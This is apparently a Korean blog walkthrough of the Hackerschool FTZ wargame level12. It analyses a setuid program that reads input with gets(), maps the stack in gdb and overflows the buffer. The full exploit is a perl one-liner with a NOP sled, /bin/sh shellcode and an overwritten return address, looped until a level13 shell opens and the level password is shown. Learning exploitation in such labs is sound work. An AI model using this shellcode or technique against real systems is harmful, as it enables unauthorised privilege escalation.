본문 바로가기

System Hacking/해커스쿨 FTZ

해커스쿨 FTZ ( level12 -> level13 ) by ORANG

FTZ_level12

 

[level12@ftz level12]$ bash2

[level12@ftz level12]$ cat hint

 

 

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

 

int main( void )

{

char str[256];

 

  setreuid( 3093, 3093 );

printf( "문장을 입력하세요.\n" );

gets( str );

printf( "%s\n", str );

}

 

bash2부터 띄워주시고요~~

level11과 비슷하지만 인자로 전달받지 않는다는점만 다르네요ㅎㅎ

gets 함수 역시 입력받을 수 있는 문자열 크기 제한이 없으므로 BOF 취약점이 있습니다.

 

간단하게 분석후, 메모리 구조를 그려보겠습니다.

 (gdb) disas main

Dump of assembler code for function main:

0x08048470 <main+0>: push   %ebp

0x08048471 <main+1>: mov    %esp,%ebp

0x08048473 <main+3>: sub    $0x108,%esp

0x08048479 <main+9>: sub    $0x8,%esp

0x0804847c <main+12>: push   $0xc15

0x08048481 <main+17>: push   $0xc15

0x08048486 <main+22>: call   0x804835c <setreuid>

0x0804848b <main+27>: add    $0x10,%esp

0x0804848e <main+30>: sub    $0xc,%esp

0x08048491 <main+33>: push   $0x8048538

0x08048496 <main+38>: call   0x804834c <printf>

0x0804849b <main+43>: add    $0x10,%esp

0x0804849e <main+46>: sub    $0xc,%esp

0x080484a1 <main+49>: lea    0xfffffef8(%ebp),%eax

0x080484a7 <main+55>: push   %eax

0x080484a8 <main+56>: call   0x804831c <gets>

0x080484ad <main+61>: add    $0x10,%esp

…생략…

0x080484b0 <main+64>: sub    $0x8,%esp

0x080484b3 <main+67>: lea    0xfffffef8(%ebp),%eax

0x080484b9 <main+73>: push   %eax

0x080484ba <main+74>: push   $0x804854c

0x080484bf <main+79>: call   0x804834c <printf>

0x080484c4 <main+84>: add    $0x10,%esp

…생략…

 

 

main+3에서 264바이트 만큼의 메모리를 확보하는게 보이네요

메모리 구조를 그려보겠습니다.

 

RET [4]

SFP [4]

dummy [8]

str[256]

 

 

str의 시작 주소를 알기 위해

str의 주소를 불러오는 printf(“%s\n”, str); 부분을 이용하겠습니다.

str의 주소를 eax레지스터에 집어 넣는 main+73 부분에 브레이크 포인트를 걸고

메모리를 확인해보겠습니다.

 

 The program being debugged has been started already.

Start it from the beginning? (y or n) y

 

Starting program: /home/level12/tmp/attackit

문장을 입력하세요.

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

 

Breakpoint 1, 0x080484b9 in main ()

(gdb) x/50x $eax

0xbfffe150: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffe160: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffe170: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffe180: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffe190: 0x41414141 0x41414141 0x41414141 0xbf004141

0xbfffe1a0: 0x4000be03 0x4001624c 0x00000000 0x0177ff8e

0xbfffe1b0: 0x4000807f 0x4001582c 0x00000059 0x40015a38

0xbfffe1c0: 0xbfffe210 0x4000be03 0x40015bd4 0x40016380

0xbfffe1d0: 0x00000001 0x00000000 0x4200dba3 0x420069e4

0xbfffe1e0: 0x42130a14 0xbffffc1d 0xbfffe2a4 0xbfffe224

0xbfffe1f0: 0x4000bcc0 0x08049648 0x00000001 0x08048249

0xbfffe200: 0x4210fd3c 0x42130a14 0xbfffe228 0x4210fdf6

0xbfffe210: 0x08049560 0x08049664

 

str 의 시작주소는 0xbfffe150이네요ㅎㅎ

 

264바이트 (nop+셸코드) + 4바이트 (SFP를 덮을 쓰레기값) + 4바이트 ( RET를 덮을 str시작주소값 )

 

level11에서 사용한 방법으로

반복으로 랜덤스택을 우회하여 공격해보겠습니다.

 

 [level12@ftz level12]$ while [ 1 ]; do (perl -e 'print "\x90"x200,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80","\x90"x43,"\x70\xe1\xff\xbf"';cat)|./attackme; done

문장을 입력하세요.

 

1??h//shh/bin??S????

                    ??p????

 

세그멘테이션 오류

문장을 입력하세요.

 

1??h//shh/bin??S????

                    ??p????

 

세그멘테이션 오류

 

…생략…

 

문장을 입력하세요.

 

1??h//shh/bin??S????

                    ??p????

 

 

id

uid=3093(level13) gid=3092(level12) groups=3092(level12)

my-pass

TERM environment variable not set.

 

Level13 Password is "have no clue".

 

 

어느 순간 level13의 셸을 획득한게 보이네요ㅎㅎ